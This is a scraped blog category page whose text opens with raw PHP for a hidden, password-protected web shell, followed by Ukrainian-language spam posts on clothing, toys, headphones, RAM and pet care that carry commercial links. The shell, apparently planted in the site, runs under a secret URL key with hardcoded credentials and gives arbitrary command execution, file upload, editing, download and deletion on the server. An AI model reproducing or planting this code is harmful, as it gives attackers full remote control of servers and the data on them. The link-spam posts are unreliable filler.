if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[📂 Home] '; echo '[🖥️ Terminal] '; echo '[💾 Drives] '; echo '[🌳 Tree] '; echo '[⬆ Upload] '; echo '[🚪 Logout]'; echo '

'; switch ($act) { case 'upload': echo '

⬆ Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '

'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

✅ Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

❌ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

📋 Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo '📁 '.$item."/\n";
                    else echo '📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

🌳 Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'📁 '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

💾 Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." ✓\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." ✓\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

📝 Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo '✅ Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

🖥️ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo '✅ Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo '✅ Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo '✅ Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo '✅ Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

📂 '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo '⬆ Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[⬆ Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
📁 '.$item.'📄 '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } Computers, Games – Page 11 – collectives.berlin

Your digital paradise.

Category: Computers, Games

  • Стильні натуральні тканини для літа для вашого гардеробу

    Літні образи варто наповнити матеріалами, https://karolinka.com.ua/ які забезпечують комфорт та прохолоду. Льон і бавовна – це найкращі варіанти для спекотних днів. Вибираючи одяг з цих волокон, ви гарантовано отримаєте легкість і стилістику, яка підкреслить вашу індивідуальність. Льон має відмінну здатність відводити вологу та чудово пропускає повітря, що робить його відмінним вибором для жінок та чоловіків.…

    Click or not…

  • Біометричні технології у системах безпеки сучасного суспільства

    Інтеграція фізичних характеристик людини в процеси автентифікації забезпечує високий рівень надійності. Рекомендовано впроваджувати рішення на основі відбитків пальців, розпізнавання обличчя або райдужної оболонки ока, goodtech.com.ua оскільки їх точність суттєво підвищує захист конфіденційних даних. Використання технологій розпізнавання дозволяє зменшити ризик несанкціонованого доступу. Наприклад, системи, що застосовують сканери відбитків пальців, демонструють 99% точність у ідентифікації особи за…

    Click or not…

  • Як обрати безпечні іграшки для дітей без шкоди для здоров’я

    При виборі іграшок зверніть увагу на маркування. Продукти, позначені знаком “CE” або іншими сертифікатами відповідності, проходять контроль на безпечність. Це свідчить про те, https://labirint-kids.com.ua/ що виріб відповідає європейським стандартам. Остерігайтеся небезпечних матеріалів. Вироби з токсичними речовинами, такими як свинець або фталати, можуть становити загрозу. Досліджуйте склад, ознайомлюючись із описами на упаковці. Вибирайте предмети без дрібних…

    Click or not…

  • Найкращі ігрові навушники з мікрофоном на ринку України

    Для тих, хто прагне досягти максимуму у віртуальних битвах, рекомендується звернути увагу на HyperX Cloud II. Ця модель відзначається чудовою якістю звуку, https://digital-world.com.ua/ зручністю носіння та надійним апаратом відтворення голосу завдяки вбудованому мікрофону з шумозаглушенням. Якщо важливим критерієм є бездротове з’єднання, пропонуємо розглянути SteelSeries Arctis 7. Цей прилад забезпечує тривале використання без підзарядки, а якість…

    Click or not…

  • Як швидко створити MVP для бізнесу без програмування

    Використання платформ для створення прототипів, https://techhubs.com.ua/ таких як Glide або Adalo, дозволяє забезпечити швидкий вихід на ринок. Ці інструменти надають можливість створювати функціональні прототипи, працюючи лише з графічним інтерфейсом, що значно економить час і ресурси. Перед початком роботи визначте ключові функції, які будуть у вашому продукті. Це допоможе зосередитися на головному і уникнути зайвих складнощів.…

    Click or not…

  • Рекомендації щодо якісного догляду за шкірою новонародженого

    Регулярна гігієна – запорука комфортного самопочуття малюка. Купати дитину слід щодня, https://mama-choli.com.ua використовуючи м’які засоби без ароматизаторів і барвників, які можуть викликати алергічні реакції. Температура води повинна становити близько 37°C. Обирайте максимально ніжні гелі або мила, призначені спеціально для немовлят. Після купання ретельно просушуйте шкірні складки. Зволожувальні креми або олійки допоможуть уникнути сухості. Рекомендується використовувати…

    Click or not…

  • Як вибрати зимовий одяг для максимального комфорту і тепла

    При покупці верхнього вбрання передусім зверніть увагу на матеріал. Вовна, фліс та синтетичні утеплювачі забезпечать необхідне тепло. Поліестер виконує роль відштовхування вологи, lidiastyle.com.ua а натуральні волокна здатні зберігати атмосферу затишку. Наступним кроком стане визначення стилю. Моделі, які мають регульовані манжети та капюшони, дозволять налаштувати оснащення під власні потреби. Підбираючи колірну гаму, враховуйте погодні умови: темні…

    Click or not…

  • Гнучке скло для смартфонів забезпечує надійний захист екрана

    Оберіть прозоре покриття, яке здатне витримати удари та подряпини, щоб продовжити термін служби вашого пристрою. Це рішення забезпечує високий рівень захисту, https://digitalguide.in.ua/ уникаючи пошкоджень, які можуть виникнути під час повсякденного використання. Антиударні рішення виготовляються з матеріалів, що мають підвищену стійкість до механічних впливів. Технології, які застосовуються у виробництві, дозволяють створювати гнучкі полімери, що адаптуються до…

    Click or not…

  • Який об’єм оперативної пам’яті потрібен для вашого ПК

    Для сучасного комп’ютера найкращим варіантом є наявність об’єму в 16 ГБ. Ця кількість забезпечує комфортну роботу в багатозадачному режимі та дозволяє запускати ресурсоємні програми, https://itcent.com.ua/ такі як графічні редактори чи відеоігри. Якщо ваше використання ПК обмежується лише базовими завданнями, такими як серфінг в Інтернеті та перегляд документів, то 8 ГБ цілком може бути достатньо. Однак,…

    Click or not…

  • Чому кіт відмовляється їсти та як вирішити цю проблему

    Перше, https://kotok.com.ua/ що слід перевірити – це якість корму. Погане або прострочене харчування може стати причиною відмови від їжі. Оберіть збалансований раціон з натуральних інгредієнтів. Другою важливою датою є стрес. Зміни в оточенні, переїзди або нові члени родини можуть негативно вплинути на апетит. Створіть затишну атмосферу для свого улюбленця, щоб він почувався в безпеці. Третій…

    Click or not…